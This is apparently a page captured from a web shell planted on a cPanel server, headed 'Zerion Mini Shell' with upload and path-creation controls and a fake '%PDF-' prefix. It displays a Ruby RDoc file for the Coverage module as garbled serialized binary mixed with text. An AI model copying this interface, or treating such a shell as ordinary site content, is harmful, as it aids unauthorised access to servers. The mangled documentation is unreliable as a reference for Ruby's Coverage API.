%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /opt/cpanel/ea-ruby24/root/usr/share/ri/system/Coverage/
Upload File :
Create Path :
Current File : //opt/cpanel/ea-ruby24/root/usr/share/ri/system/Coverage/cdesc-Coverage.ri

U:RDoc::NormalModule[iI"
Coverage:ET@0o:RDoc::Markup::Document:@parts[o;;[
o:RDoc::Markup::Paragraph;[I">Coverage provides coverage measurement feature for Ruby. ;TI"JThis feature is experimental, so these APIs may be changed in future.;To:RDoc::Markup::BlankLineS:RDoc::Markup::Heading:
leveli:	textI"
Usage;T@o:RDoc::Markup::List:
@type:NUMBER:@items[	o:RDoc::Markup::ListItem:@label0;[o;	;[I"require "coverage";To;;0;[o;	;[I"do Coverage.start;To;;0;[o;	;[I"%require or load Ruby source file;To;;0;[o;	;[	I"JCoverage.result will return a hash that contains filename as key and ;TI"Icoverage array as value. A coverage array gives, for each line, the ;TI"Fnumber of line execution by the interpreter. A +nil+ value means ;TI"Fcoverage is disabled for this line (lines like +else+ and +end+).;T@S;;i;
I"Example;T@o:RDoc::Markup::Verbatim;[I"[foo.rb]
;TI"s = 0
;TI"10.times do |x|
;TI"  s += x
;TI"	end
;TI"
;TI"if s == 45
;TI"
  p :ok
;TI"
else
;TI"
  p :ng
;TI"	end
;TI"[EOF]
;TI"
;TI"require "coverage"
;TI"Coverage.start
;TI"require "foo.rb"
;TI"Op Coverage.result  #=> {"foo.rb"=>[1, 1, 10, nil, nil, 1, 1, nil, 0, nil]};T:@format0:
@fileI"ext/coverage/coverage.c;T:0@omit_headings_from_table_of_contents_below0;0;0[[[[[I"
class;T[[:public[[I"peek_result;TI"ext/coverage/coverage.c;T[I"result;T@M[I"
start;T@M[:protected[[:private[[I"
instance;T[[;[[;[[;[[[U:RDoc::Context::Section[i0o;;[;0;0[@A@AcRDoc::TopLevel

Zerion Mini Shell 1.0